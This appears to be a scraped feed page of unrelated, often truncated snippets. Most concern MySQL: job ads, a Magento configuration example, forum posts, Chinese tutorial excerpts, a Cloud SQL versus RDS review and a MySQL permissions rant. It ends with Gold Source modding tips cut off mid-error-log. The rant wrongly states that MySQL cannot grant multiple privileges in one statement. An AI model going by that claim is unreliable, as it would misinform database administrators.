Eu tenho um script que faz dump do banco, ZIPA, e me envia o zip por email.. mas ele faz o dump completo (01 arquivo) do banco, e eu estava precisando que o zip viesse com o DUMP de todas as tabelas individuais.... (Budget: $10 USD, Jobs: MySQL, PHP)
          libdbi-drivers 0.9.0-6 x86_64   
Database drivers for libdbi (MySQL, PostgreSQL, and SQLite)
          libdbi-drivers 0.9.0-6 i686   
Database drivers for libdbi (MySQL, PostgreSQL, and SQLite)
          How to Modify Magento 2 Database Configuration file   

Magento has transformed into an enhanced eCommerce platform with the launch of its latest version and named it Magento 2. In this tutorial will guide you as how to fetch details about the database configuration file in Magento 2. In the previous version of Magento, we used to have app/etc/local.xml for the database configuration file, whereas in Magento 2, the file address is app/etc/env.php

Magento 2 Database Configuration File

You need to edit the file below in order to change database server hostname, database username, password, or database name in Magento 2.

/<Magento Install Dir>/app/etc/env.php

Find the Magento 2 installation directory with the help of above link and edit the configuration file  that is located on app/etc/env.php. You can continue with the settings and mandatory changes in an editor you like the most.

  'db' =>
array (
    'table_prefix' => '',
    'connection' =>
array (
      'default' =>
array (
        'host' => 'Your MySQL server hostname',
        'dbname' => 'database_name',
        'username' => ''MySQL username server to connect database',
        'password' => 'MYSQL server database password',
        'active' => '1',
      ),
    ),
  ),

Image source: livetiles


          Не могу зайти на форум   
Не могу уже два дня зайти на форум, пишет вот такую ошибку Return to index page General Error SQL ERROR [ mysql4 ] User unity3dru_phpbb already has more than ‘max_user_connections’ active connections [1203] An sql error occurred while fetching this page. Please contact an administrator if this problem persists. я уже и через прокси пробовал. Rating: 6.0/10 (5 votes cast)
Rating: 6.0/10 (5 votes cast)



          Render Wrangler - Rodeo FX - Canada   
Knowledge of queuing systems, scheduling algorithms, SQL (MySQL), Qube, Maya, Houdini, Nuke, Arnold and other VFX industry tools a plus....
From Rodeo FX - Tue, 27 Jun 2017 07:40:14 GMT - View all Canada jobs
          UX/UI CSS MySQL PHP by tanyagray   
Fixing bugs and adding new database file (Budget: $250 - $750 USD, Jobs: CSS, MySQL, PHP, User Interface / IA)
          Service down for 32 minutes 17-07-2015   
Hello, Yesterday at 17/07/2015 14:26:21 until 17/07/2015 14:58:21 CEST the service was partially unresponsive. Your sites were offline an approximate of 11 minutes in total. Some sites could be affected a little bit longer. Technically, we had an issue with the mysql demon. For some reason we are investigating got stuck and could not handle more petitions. We do not have any information in the error log, so we are investigating what may have caused and prevent it from happening again. We have set few alarms that notify us in case any service disruption immediately. So theres no need to contact us directly to let us know. From now on we will notify of any incident at our twitter Yclascom. Remember you can follow our server status here.  We are sorry for that we have still a really amazing 99.85% of uptime ;)
          Hadoop Administrator ~ - Costco Wholesale - Issaquah, WA   
Knowledge of Relational Databases (DB2, Oracle, SQL Server, DB2 for iSeries, MySQL, Postgres, MariaDB). This position is responsible for the support, design,...
From Costco Wholesale - Mon, 13 Mar 2017 22:33:12 GMT - View all Issaquah, WA jobs
          Phocagallery - Phocadownload - wie kann man Daten aus MySql auslagern?   
Forum: Joomla Erweiterungen - Komponenten Erstellt von: Lisa1994 Geschrieben am 28.06.2017 um 09:16
          Quiero hacer un sistema de logueo pero no se como hacerlo   

Quiero hacer un sistema de logueo pero no se como hacerlo

Respuesta a Quiero hacer un sistema de logueo pero no se como hacerlo

Hola, para lo que planteas es necesario que utilizes algún lenguaje de servidor como puede ser php, python java, etc. Ademas tenes que contar con algún sistema que te permita la persistencia de datos como una base de datos mysql, pgsql, sqlserver, mongodb.

Publicado el 03 de Junio del 2017 por [abZeroX]

          无法为具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“MySql.Data.MySqlClient.MySq   

          First Impressions - Google Cloud SQL for PostgreSQL   
Google Cloud SQL for PostgreSQL is finally here, although in Beta. While not recommended for production use yet, the beta version is perfect for trying out and playing around.

It goes without saying that this service is a direct competitor to Amazon's RDS and understandably there will be comparisons going forward, both in this post as well as anywhere else Cloud SQL gets reviewed. With that said, lets dive in!

Account for Getting started: Currently, Google Cloud Platform is providing $300.00 in credit for maximum of one year. That is great, especially if all you need the platform account for is to try out Cloud SQL for Postgres. Setting up the account is super fast since like most things google, for better or worse, the account you're signed in as is used to activate the cloud platform service for you and you're in your console in a matter of seconds. Amazon too has a generous plan for beginners to get into their AWS world.

Documentation: Cloud SQL's documentation is very clear and concise. Also appreciate the direct links to sections of the console within the tutorial steps. Very handy and makes it immensely easier to find your way if, like me, you have never worked on Google's Cloud Platform before.

Interface: I found Google's instance creation interface to be much cleaner than Amazon's. While, to create an RDS instance on Amazon, you're guided through multiple pages starting with the basic settings and progressing to the advanced ones, instance creation in google is all done on a single page hence making the process seem faster and simpler, also allowing to review as you choose new settings. This may change though, as Cloud SQL ads more features and options.




Security: While Google's instance creation page is simpler, I did not see any security group/VPC/Subnet/VPN related information I was required to sign off on before my instance was created, unlike RDS, where the minimum barrier to create an instance is to review these settings and hence is much higher than the minimum barrier in Cloud SQL. My guess is google prioritized speed and simplicity of instance creation over security, which might be good to get in customers but not as good in the long run.

Monitoring: Basic monitoring in both RDS and Cloud SQL are enabled by default. RDS instance creation provides the option to choose enhanced monitoring at time of creation, whereas Cloud SQL does not.



Logging: Logging in Cloud SQL seems to be better than RDS. There are options for extracting log messages based on logging levels. As far as I know there is no such option in RDS. Unlike RDS, Cloud SQL does not allow downloading postgres logs directly, however there is an option to export the logs to BigQuery, Google Cloud Storage (equivalent to S3 in AWS), or Cloud Pub/Sub. There is also a 'custom destination' option but there is no information about it in documentation. A Quick try didn't seem to indicate that it enables sending logs to one's local machine for instance.

Cloud SQL

RDS

Replication: Replication is not yet supported on Cloud SQL for Postgres. It is however, supported for MySQL along with HA options, so I'm sure it will be available by the time it comes out of Beta phase. However, for now, the answer is no replicas or high availability.

Backups: Just like RDS, there is an option to set automated backups as well as to do it manually. The one tiny difference was that in RDS, as soon as you create an instance, an automatic backup is taken. This did not happen when I created an instance in Cloud SQL.

Memory: Google's memory options only span from 3.75 to 416GB depending on the number of cores you choose, while RDS's is that from 1 to 244GB depending on the type of instance chosen. That is a huge difference between the two offerings, With Google providing a higher maximum than Amazon.

Storage: This ranges from 10 - 10230GB on Cloud SQL and from 5 - 6144GB. Just like with memory, Cloud SQL is the one with more options and a higher  when it comes to storage.

Customizable Configuration: Not too impressed with Google's Cloud SQL Flags. It is very limited at the moment. RDS itself only provides a portion of the configuration parameters to be customizable, but compared to google's flags it is a lot better. Currently, only autovacuum settings and default_statistics_target

Third Party Extensions: Currently, Cloud SQL for Postgres has a rather limited support for third party tools and extensions. Even though RDS's list of supported extensions leaves a lot to be desired, compared to what Cloud SQL is supporting, RDS's list looks great.

Pricing: Prices for Google Cloud SQL for Postgres and Amazon Postgres RDS look quite comparable at first glance, but on a closer look I found that Google's pricing is a bit higher than Amazon's. Whether the cost difference is worth it will be clearer in the next few months when the final service is released and more details about performance come out.

At first glance, I am impressed with Google Cloud SQL, mainly because of the ease and simplicity of setting up a working cluster, and the monitoring and logging interface. The best thing is that all data in it is automatically encrypted and Cloud SQL is SSAE 16, ISO 27001, PCI DSS v3.0, and HIPAA compliant.

The one thing I did not like, especially when compared to RDS, is the lack of advanced network settings such as setting up a VPC and security groups in general. These may be accessible elsewhere, but most beginners creating an instance may not go through the trouble of searching for these. I think Amazon does the right thing here by forcing the user to review these settings, even if it comes at the cost of simplicity and speed, sometimes also accompanied with a light headache. One saving grace for Cloud SQL here is that SSL is enabled by default. Still, as long as someone has the password for the role, they can connect to the instance from any IP, anywhere. pg_hba.conf is the only barrier protecting your instance.

As for the extremely limited set of customizable flags for server configuration parameters, I am pretty sure it will change and grow as more people start using this service. 

          MySQL Permissions Management is a Mess.   
Earlier today we had some issues due to which I was told to change a user's GRANTs in MySQL. Now I've only exclusively worked with PostgreSQL for the past few years and had completely forgotten how utterly confusing it is in MySQL.

Here's how complicated and unnecessarily obscure permissions management in MySQL seemed from a Postgres DBA's eyes:

First, like Postgres, I assumed MySQL allows transactional GRANT/REVOKE statements. Not only does it NOT allow GRANT and REVOKE statements to be issued within a transaction block, but it doesn't even throw an ERROR when such a statement is issued after a "BEGIN;" statement!

mysql> begin;
Query OK, 0 rows affected (0.00 sec)

mysql> revoke all privileges, grant option from 'rainbowr'@'192.168.124.21';
Query OK, 0 rows affected (0.00 sec)

mysql> rollback;
Query OK, 0 rows affected (0.00 sec)

mysql> show grants for 'some_user'@'ip_address';
+----------------------------------------------------------------------------------------------------------------------+
| Grants for some_user@ip_address                                                                                   |
+----------------------------------------------------------------------------------------------------------------------+
| This is empty now in spite of a rollback!
+----------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


This is a very risky thing, and something I would never have expected from such a well known database.

What's more, the user I wanted to modify permissions for had ALL PRIVILEGES granted to it. Naturally, my understanding was that ALL PRIVS here meant it was composed of individual privileges (SELECT, INSERT, etc.) so I tried running something like:

REVOKE DROP ON ... FROM...

To revoke one permission and let the rest be intact. Common sense, right? Well, I was met with another ERROR saying there was no such permission on said user in the first place:

mysql> revoke DROP on some_db.* from 'some_user'@'ip_address';
ERROR 1141 (42000): There is no such grant defined for user 'some_user' on host 'ip_address'


So, to remove just one of the permissions from the user, I first had to REVOKE ALL PRIVILEGES from that user, and then had to individually grant each of the rest!

Now comes yet another hilarity, I cannot GRANT or REVOKE multiple privileges in a single statement. On Postgres, it is as simple as :

GRANT SELECT, UPDATE, INSERT ON ... TO ...;

But the same operation on MySQL requires:

GRANT SELECT ON ... TO ...;
GRANT UPDATE ON ... TO ...;
GRANT INSERT ON ... TO ...;

Give me a break!

Lastly, (and because this is a supposed to be a concise post I won't linger much on this) MySQL's user/permission management seems faulty at best with its concatenation of User and Host for permissions management. The logic seems all off.

Postgres treats a user as a single, complete entity. Which host the user comes from does not play a part in the permissions that the user has. Logically, you *should* have different users for different permissions on the database.

MySQL complicates this. In there, the permissions are actually granted to User@Host and not user only. Essentially, this is following the same principle of granting separate permissions to separate users, that is, User@Host1 is different from User@Host2, but it is complicating things by involving the Host in it. Why not just have User1 and User2?

Here is an example: Would you rather want the same web user to have select only access when connecting from web server and DROP privilege when connecting from localhost, or would you prefer web user connecting from anywhere only ever has SELECT access, while for DROP privilege, there be an admin role? (BTW, the host for users can be managed separately in the pg_hba.conf file in postgres).

Yes, it might depend on user preference, but to me it seems clear that having different users when their permissions are different is good for analysis and debugging rather than having the same user with different privileges based on where it connects from.

At the end, having touched permissions in MySQL after a long time, I was frustrated and confused, and couldn't help but compare it to the simplicity that Postgres offers.

          Comment on Installing MySQL on Mac OSX 10.6 (Snow Leopard) by Liam   
Great article, works on my '07 Mac Pro.
          DevOps Engineer - GlaxoSmithKline - Upper Providence, PA   
Familiarity with RDBMS platforms (MySQL, Oracle etc) and SQL is preferred. The individual will work closely with developers, architects, and end users to...
From GlaxoSmithKline - Fri, 19 May 2017 18:39:00 GMT - View all Upper Providence, PA jobs
          Process Automation Engineer - UnitedHealth Group - Ireland, WV   
Good database skills with proven experience using SQL Server / Oracle / MySQL etc. Is it important to you to create an application that will benefit millions of...
From UnitedHealth Group - Wed, 28 Jun 2017 21:45:30 GMT - View all Ireland, WV jobs
          Render Wrangler - Rodeo FX - Canada   
Knowledge of queuing systems, scheduling algorithms, SQL (MySQL), Qube, Maya, Houdini, Nuke, Arnold and other VFX industry tools a plus....
From Rodeo FX - Tue, 27 Jun 2017 07:40:14 GMT - View all Canada jobs
          MySQL服务器创建临时文件数的合理配置   
MySQL服务器创建的临时文件的数量多少合适呢?下面就对MySQL服务器创建临时文件数的合理配置作详尽的分析讨论,供您参考。 mysql showglobalstatuslike'created_tmp%'; +-------------------------+---------+ |Variable_name|Value| +---------------------
          MySQL Open_Table的合理配置   
MySQL Opened_tables表示打开过的表数量,下文就将教您如何合理配置MySQL Open_Table的值,希望对您学习MySQL数据库能有所帮助。 MySQL Open_Table情况: mysql showglobalstatuslike'open%tables%'; +---------------+-------+ |Variable_name|Value| +----
          MySQL服务器的线程数查看方法   
MySQL服务器的线程数需要在一个合理的范围之内,这样才能保证MySQL服务器健康平稳地运行。Threads_created表示创建过的线程数,通过查看Threads_created就可以查看MySQL服务器的进程状态。 mysql showglobalstatuslike'Thread%'; +-------------------+-----
          MySQL查询缓存变量   
下面对MySQL查询缓存变量作了详尽的阐述,并对MySQL查询缓存变量过程中的步骤进行了分析,如果您对此方面感兴趣的话,不妨一看。 mysql showglobalstatuslike'qcache%'; +-------------------------+-----------+ |Variable_name|Value| +------------------
          MySQL排序使用情况   
MySQL排序会增加Sort_merge_passes ,MySQL 就会把每次在内存中排序的结果存到临时文件中,找到记录后,会再次排序。 MySQL排序使用情况: mysql showglobalstatuslike'sort%'; +-------------------+------------+ |Variable_name|Value| +----------------
          MySQL表锁情况和文件打开数   
在MySQL数据库中,我们需要根据数据库的状态调整一些系统参数,下面为您介绍的是MySQL表锁情况和文件打开数的调整方法,供您参考。 文件打开数(open_files) mysql showglobalstatuslike'open_files'; +---------------+-------+ |Variable_name|Value| +----
          MySQL随机查询的优化实例   
MySQL随机查询的效率如果想得到提高,就需要进行优化,下面就为您介绍一个MySQL随机查询优化成功的例子,供您借鉴参考。 一直以为MySQL随机查询几条数据,就用 SELECT * FROM `table` ORDER BY RAND() LIMIT 5 就可以了。 但是真正测试一下才发现这样的MySQL
          MySQL按某些匹配字母查询表   
MySQL查询是MySQL的核心功能,有时候我们需要查找带有某些匹配字母的表。下文对该MySQL查询方式作了详细的介绍,供您参考。 在MySQL中我们可以使用LIKE或者NOT LIKE操作符进行比较。在MySQL中模式默认是不区分大小写的。 查询示例,student表 +--------+----
          MySQL查询汉字拼音首字母的方法   
下面为您介绍了MySQL查询汉字拼音首字母的方法,该方法极具实用价值,如果您之前遇到过类似方面的问题,不妨一看。 MySQL查询汉字拼音首字母方法如下: 1、建立拼音首字母资料表 Sql代码: DROP TABLE IF EXISTS `pinyin`; CREATE TABLE `pinyin` ( `PY` var
          MySQL联结查询的四种方式   
MySQL联结查询大致分为四种,下面就为您分别介绍这四种MySQL联结查询,如果您对此方面感兴趣的话,不妨一看。 MySQL联结查询大致分为下面四种: 1.内联结:将两个表中存在联结关系的字段符合联结关系的那些记录形成记录集的联结。 2.外联结:分为外左联结
          MySQL查询中日期格式转换函数介绍   
MySQL查询中对于日期进行转换需要用到UNIX_TIMESTAMP(), UNIX_TIMESTAMP(date) 函数来进行操作,下面就为您详细介绍MySQL查询中日期格式转换函数的使用方法,供您参考。 若无参数调用,则返回一个Unix timestamp ('1970-01-01 00:00:00' GMT 之后的秒数) 作
          几个常用的MySQL性能测试工具   
MySQL性能测试是我们经常需要用到的,下面就为您介绍几个比较常用的MySQL性能测试工具,如果您对此感兴趣的话,不妨一看。 三个MySQL性能测试工具:The MySQL Benchmark Suite、MySQL super-smack、MyBench。除了第一个为MySQL性能测试工具,其他两个都为压
          七种Mysql表类型   
学习Mysql数据库,Mysql表类型都有哪些是一定需要知道的,下面就为您介绍七种Mysql表类型,希望能对您学习Mysql表类型有所帮助。 MySQL作为当前最为流行的免费数据库服务引擎,已经风靡了很长一段时间,不过也许也有人对于MySQL的内部环境不很了解,尤其那些
          Mysql建表实例   
学习Mysql数据库,Mysql建表是最基础的知识。下面就为您介绍一个Mysql建表的例子,供您参考,希望对您学习Mysql建表方面能有所帮助。 !--Mysql建表,表名为world 建立3个column,分别为 id,类型是数字 name,类型是字符 location,类型是字符 ? php //////////
          Mysql表结构查看命令   
如果需要查看Mysql表结构,应该使用什么命令呢?下面就为您详细介绍查看Mysql表结构的命令,如果您在Mysql表机构方面遇到过类似的问题,不妨一看。 查看Mysql表结构的命令,如下: desc 表名; show columns from 表名; describe 表名; show create table 表名
          MySQL创建关联表的方法   
MySQL创建关联表是非常基础的知识,下面就为您举例说明MySQL创建关联表的方法,如果您对MySQL创建关联表方面感兴趣的话,不妨一看。 MySQL创建关联表可以理解为是两个表之间有个外键关系,但这两个表必须满足三个条件 1.两个表必须是InnoDB数据引擎 2.使用在
          两表的MYSQL查询结果插入新表的方法   
下面为您介绍的方法实现的是两张表的MYSQL查询结果插入一张新表,该方法供您参考,如果您在MYSQL查询结果处理方面遇到过问题,不妨一看。 表A +-------------------+ |id |user |info | |1 |u1 |991 | |3 |u3 |113 | +-------------------+ 表B +-----------
          MySQL Show语句用法   
MySQL Show语句是我们经常用到的语句,下面就为您介绍MySQL Show语句的用法,如果您对MySQL Show语句方面感兴趣的话,不妨一看。 showdatabases; showtablesfromdb_name; showcolumnsfromtable_namefromdb_name; showindexfromtalbe_name[fromdb_name]; show
          MySQL复制表结构问题的解决方法   
MySQL复制表结构的方法是我们经常讨论的话题,下面对MySQL复制表结构进行了分析,供您参考,希望可以让您都MySQL复制表结构有更深刻的认识。 之前看到网上很多说用 SELECT * INTO 表2 FROM 表1 WHERE 1=2 可以将表1结构复制到表2 用SELECT * INTO 表2 FROM
          根据Mysql表备份方法实例   
Mysql数据库有多种的备份方法,下面为您介绍的方法是根据Mysql表备份,该方法供您参考,希望对您学习Mysql表备份数据库方面能有所帮助。 ? php functiondatatosql($table) { global$db; $ tabledump = DROPTABLEIFEXISTS$table;\n ; $ createtable =$db- que
          Java数据类型和MySql数据类型对应一览   
下面将以列表的形式对MySql数据类型和Java数据类型进行对应比较,如果您对MySql数据类型方面感兴趣的话,不妨一看。 java mysql 数据类型对照 类型名称 显示长度 数据库类型 JAVA类型 JDBC类型索引(int) 描述 VARCHAR L+N VARCHAR java.lang.String 12 CHAR
          随机获取Mysql数据实例   
在Mysql数据库中,如果想要得到一张表中随机的Mysql数据,应该如何实现呢?下面就教您一个随机获取Mysql数据的方法,供您参考。 header(Content-type:text/html; charset = utf -8); $ mysql_host = 'localhost' ; $ mysql_un = 'root' ; $ mysql_pwd = '123
          Linux服务器安装MySql数据库方法   
MySql是开发者最喜欢的数据库系统之一,安装MySql数据库和如何配置就成为了大家关心的话题。尤其是非Windows的安装,更是让不少人头疼不已。 现在有很多网站使用Linux + MySql 。MySql 在Windows下安装和配置都很简单,但是在Linux 安装MySql数据库是有点麻
          mysql和sql server的25个区别   
mysql和sql server区别在哪里呢?可能很多数据库的新用户对这两种数据库的区别还不是特别的了解,下面就为您详细介绍一些mysql和sql server区别,供您参考。 1 mysql支持enum,和set类型,sql server不支持 2 mysql不支持nchar,nvarchar,ntext类型 3 mysql的
          MySQL源码包的安装方法   
MySQL源码包安装是很多人都提到过的问题,下面就教您MySQL源码包安装的方法,如果您在MySQL源码包安装方面遇到过问题,不妨一看。 #pwgroupaddmysql建一个组 #pwuseradd-gmysqlmysql建一个用户并加入到组 #cd/usr/src #tarzxvfmysql-5.x.xx-freebsdx.x-i386.
          Mysql行级锁和页级所的优缺点   
Mysql行级锁可以在很多线程请求不同记录时减少冲突锁,有着诸多的优点,下面就让我们来一起了解一下Mysql行级锁和页级所的优缺点。 如果想要在一个表上做大量的 INSERT 和 SELECT 操作,但是并行的插入却不可能时,可以将记录插入到临时表中,然后定期将临时
          Mysql临时表介绍   
Mysql临时表用于特定时候找出所需的少数记录,下面对Mysql临时表的使用作了详尽的介绍,如果您对Mysql临时表方面感兴趣的话,不妨一看。 当工作在非常大的表上时,你可能偶尔需要运行很多查询获得一个大量数据的小的子集,不是对整个表运行这些查询,而是让M
          MySQL单表大小的限制   
MySQL单表大小的限制在目前的技术环境中,由所在主机的OS上面的文件系统来界定而不是由MySQL数据库本身来决定了。 在老版本的MySQL 3.22中,MySQL单表大小为4GB,当时的MySQL的存储引擎还是ISAM存储引擎。但是,当出现MyISAM存储引擎之后,也就是从MySQL 3.2
          Mysql Merge表的优点   
在Mysql数据库中,Mysql Merge表有点类似于视图。下面就让我们来一起了解一下Mysql Merge表都有哪些优点,希望对您能有所帮助。 Mysql Merge表的优点: A: 分离静态的和动态的数据 B:利用结构接近的的数据来优化查询 C: 查询时可以访问更少的数据 D:更容
          Mysql多表删除方法   
Mysql多表删除方法是我们经常需要使用到的,具有很高的使用价值,下面就为您详述该方法的实现过程,希望对您能够有所帮助。 Mysql多表删除: 第一个多表删除格式从 MySQL 4.0.0 开始被支持。第二个多表删除格式从 MySQL 4.0.2 开始被支持。 仅仅在 FROM 或 U
          MySQL服务器的内部锁定   
内部锁定是MySQL服务器锁定的两种方式之一,下面就对MySQL服务器的内部锁定作详尽的介绍,如果您对MySQL服务器锁定方面感兴趣的话,不妨一看。 内部锁定 内部锁定可以避免客户机的请求相互干扰例如,避免客户机的SELECT查询被另一个客户机的UPDATE查询所干扰
          Mysql外部锁定   
Mysql外部锁定是锁定方式之一,下面就将对Mysql外部锁定进行详细的介绍,供您参考,如果您对Mysql外部锁定方面感兴趣的话,不妨一看。 Mysql外部锁定: 服务器还可以使用外部锁定(文件级锁)来防止其它程序在服务器使用表时修改文件。通常,在表的检查操作中
          MySQL用户连接介绍   
何种MySQL用户可以进行连接,又从哪里连接呢?可以很多MySQL新人都遇到过这些问题,您都可以从下文找到想要的答案。 你可以允许一个用户从特定的或一系列主机连接。有一个极端,如果你知道降职从一个主机连接,你可以将权限局限于单个主机: GRANT ALL ON sa
          MySQL数据库授权系统的五个表   
MySQL授权系统是由数据库中的五个表来实现,下面就为您详细介绍这五个和MySQL授权系统相关的表,如果您感兴趣的话,不妨一看。 MySQL服务器的特点之一是,它在控制每个用户行为方面提供了极大的灵活性。例如,我们既可以限制用户访问整个数据库,也可以限制
          什么是Mysql分表?   
Mysql分表技术是Mysql数据库中的关键技术,下文对Mysql分表的概念及使用作了详细的介绍,如果您对此感兴趣的话,不妨一看。 首先我们需要了解为什么要进行Mysql分表,Mysql分表的好处是什么。我们先来大概了解以下一个数据库执行SQL的过程: 接收到SQL -- 放
          基于Hash算法的Mysql分表处理   
下面为您介绍的Mysql分表处理是基于Hash算法的,在了解该Mysql分表处理方法之前,让我们先来了解一下Hash算法。 我们知道Hash表就是通过某个特殊的Hash算法计算出的一个值,这个值必须是惟一的,并且能够使用这个计算出来的值查找到需要的值,这个叫做哈希表
          Mysql表别名的用法   
使用Mysql表别名可以解决嵌套查询的问题,下面对Mysql表别名的使用作了详细的阐述分析,如果您对此方面感兴趣的话,不妨一看。 用MySQL很久了,一直被MySQL中没有嵌套查询所困扰,虽然 MySQL 4.1 中支持这个特性,但是我的PHP 的程序都使用的 MySQL 函数库,
          MySQL数据库表的查看命令   
如果需要查看MySQL数据库中都有哪些MySQL数据库表,应该如何实现呢?下面就为您介绍查看MySQL数据库表的命令,供您参考。 进入MySQL Command line client下 查看当前使用的数据库: mysqlselect database(); mysqlstatus; mysqlshow tables; mysqlshow databa
          关于Mysql数据库名和表名的大小写的问题   
在 MySQL 中,数据库和表对应于那些目录下的目录和文件。因而,操作系统的敏感性决定数据库和表命名的大小写敏感。这就意味着数据库和表名在 Windows 中是大小写不敏感的,而在大多数类型的 Unix 系统中是大小写敏感的。一个特例是 Mac OS X,当缺省的 HFS+
          MySQL的Data_ADD函数与日期格式化函数说明   
DATE_ADD( date ,INTERVAL expr type ) DATE_SUB( date ,INTERVAL expr type ) 这些函数执行日期运算。 date 是一个 DATETIME 或DATE值,用来指定起始时间。 expr 是一个表达式,用来指定从起始日期添加或减去的时间间隔值。 Expr 是一个字符串;对于负值的时
          Mobile Application - open to bidding by naeemhash   
I urgently need a developer to complete a hybrid mobile application and website that was left incomplete by the previous developer I hired. It's a hybrid application and I expect it to be available on all mobile platform app stores as well as desktop... (Budget: $15 - $25 USD, Jobs: Android, iPhone, MySQL, PHP, Software Architecture)
          que me recomiendan   

que me recomiendan

Respuesta a que me recomiendan

yo te recomendaria hacerlo con php y mysql, yo en lo personal uso laravel

Publicado el 15 de Abril del 2017 por el gato

          Guía para primer trabajo   

Guía para primer trabajo

Respuesta a Guía para primer trabajo

Ok, pero te falta un lenguaje, que sera el encargado de conectarse con mysql entre otras cosas. Todos los que has comentado excepto el mysql, se ejecutan en el navegador.

Publicado el 09 de Noviembre del 2016 por xve

          Guía para primer trabajo   

Guía para primer trabajo

Respuesta a Guía para primer trabajo

Muchas gracias por tu respuesta.
La web la voy a empezar de 0, utilizaré HTML5, CSS3, JS, Boostrap e imagino que MySQL.

Publicado el 09 de Noviembre del 2016 por Marga

          Mobile Application - open to bidding by naeemhash   
I urgently need a developer to complete a hybrid mobile application and website that was left incomplete by the previous developer I hired. It's a hybrid application and I expect it to be available on all mobile platform app stores as well as desktop... (Budget: $15 - $25 USD, Jobs: Android, iPhone, MySQL, PHP, Software Architecture)
          Hints & tips for Gold Source programming   

In this first blog article, I'm gonna post a series of hints & tips about programming for the Gold Source engine. I see many modders diving into the source code and start panicking a lot when they do something so I hope this article will help people when they are starting programming for the Gold Source engine. Keep in mind that those series of tips & hints come from my personal experience from the past year working on many HL1 mods like Half-Counter/Plasma/Far Crab/ARRANGEMENT/Revenge of Love, they may work or they may not work for you, feel free to discuss about it in the comments.

Number 1 : Patience and perseverance will help achieve what you want to do

This is very important to any people involved into IT software development. In the world of Half-Life 1 programming, don't expect your fresh new weapon to function properly within the next 5 minutes of having written the first line of code. Here's an example: back into the Half-Counter days (my very first HL1 mod), it took me 2 days to code and bug fix a CS-like Colt M4A1 with a silencer. Thanks to the experience and the new weapon system created by HAWK0044, it takes very less to implement a new weapon within ARRANGEMENT (if we don't take in account "validating" the weapon which is testing, make sure it's balanced...).

Here I talked about a "minor" modification which is adding a new weapon, but what about a "major" modification? As you may already know, ARRANGEMENT features a new audio engine powered by FMOD Studio. Creating the engine's bare bones took me around half a year, the implementation within ARRANGEMENT was done in almost a week followed by another 6 months of improvements and bug fixing which makes a total of around a year for an amazing powerful audio engine.

[quote]

Morale: Don't expect your code to work properly as it should within the next 5 minutes. Don't pretend that your code will always work the first time. Don't expect to do everything in 10 minutes.

[/quote]

Number 2 : First things first, learn C and C++ programming then you may proceed

The Gold Source engine is written in old C/C++. The differences between the old and modern C++ are the standards and some stuff that you won't need so much. This is a MUST before diving into the Half-Life source code. How can you cook a delicious meal if you don't know how to use the oven? How can you drive a car if you don't know how to pass the next/previous gear? Well this is the same.

Start by writing basic C applications (console only will be fine), once you are confident enough with the C language, you can do the same with C++. I don't ask you to be the master of C/C++ and/or learn the whole language, but if I start asking questions about "oriented object programming", "classes", "methods", "functions", you should be able to answer me.

[quote]

Morale: Don't burn steps. Don't start modifying the Half-Life source code if you don't know how to program with the C/C++ languages.

[/quote]

Number 3 : Know your working environment, learn how Gold Source works in general

In others words, if I ask you something like "What is the format used for maps by the Gold Source engine?", "How a Half-Life BSP tree look like (in general)?", "What is the event system within Gold Source?", you should be able to answer me. It is very important to know how the engine works in general before you start changing stuff around.

Take this very basic example: you know NOTHING about cars and you managed to be hired as a mechanic, the boss order you to a fix a client's car. What are you going to do? A) Attempt to fix the car (yolo style), make it worse and be fired. B) Learn how the car work, fix it, give it back to the client and get paid.

The B option seems to be more appropriate and this is the same with Gold Source programming.

[quote]

Morale: Don't mod Gold Source if you don't know how it works in general.

[/quote]

Number 4 : Gearing up, get the appropriate source code and the tools

There are many forks (variants) of the Half-Life source code, and depending on what you want your mod to be like, you have to choose the proper source code and the tools. Do you want to use Xash3D? Then use a Xash3D source code. Is the Xash3D source code I'm gonna use designed for a specific compiler (for instance: modified source code for Visual Studio 2010 support)? Then I'll need to download and install the free Express version of VS 2010. You get the idea.

From now on, I'm going to assume that you have the chosen the official Half-Life SDK from Valve's GitHub. The common mistake that I see is people downloading the most recent Visual Studio (which is 2015 at the time I'm writing this). There are 2 problems with this: 1) You will have to modify (or use an existing) the SDK to make it work with VS 2015 compilers. 2) The source code has been designed for VS 2010 compilers and I think you should stick to VS 2010 to avoid possible new bugs/differences.

[quote]

Morale: Don't use a hammer to screw. Don't use a shotgun if your enemy is at long range. Don't wear an urban camo if you are operating in the desert...

[/quote]

Number 5 : "OMFG, **** YOU COMPILE ERRORS, GOOGLE HELP ME!!!", the popular reflex that you should kill right now

Many programmers at their beginning have done the same (me included). When you have a compile error, one of the bad reflex is to copy/paste the error and Google the problem. If you have this reflex, kill it. In 90% of the cases, the solution to your error is written into the error itself. Here are some basic examples (I would to thank LastLifeOfficial for those):

[code]1>c:\users\toshiba\desktop\d\p90.cpp(32) : error C2065: 'CP90AmmoClip' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(32) : error C2059: syntax error : ')' 1>c:\users\toshiba\desktop\d\p90.cpp(39) : error C2065: 'P90_MODEL_WORLD' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(48) : error C2065: 'P90_MODEL_1STPERSON' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(49) : error C2065: 'P90_MODEL_3RDPERSON' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(50) : error C2065: 'P90_MODEL_WORLD' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(55) : error C2065: 'P90_SOUND_SHOOT1' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(56) : error C2065: 'P90_SOUND_SHOOT2' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(68) : error C2065: 'P90_MAX_AMMO' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(72) : error C2065: 'P90_SLOT' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(73) : error C2065: 'P90_POSITION' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(96) : error C2065: 'P90_MODEL_1STPERSON' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(96) : error C2065: 'P90_MODEL_3RDPERSON' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(97) : error C2065: 'P90_DEPLOY' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(150) : error C2065: 'AUTOAIM_1DEGREES' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(166) : 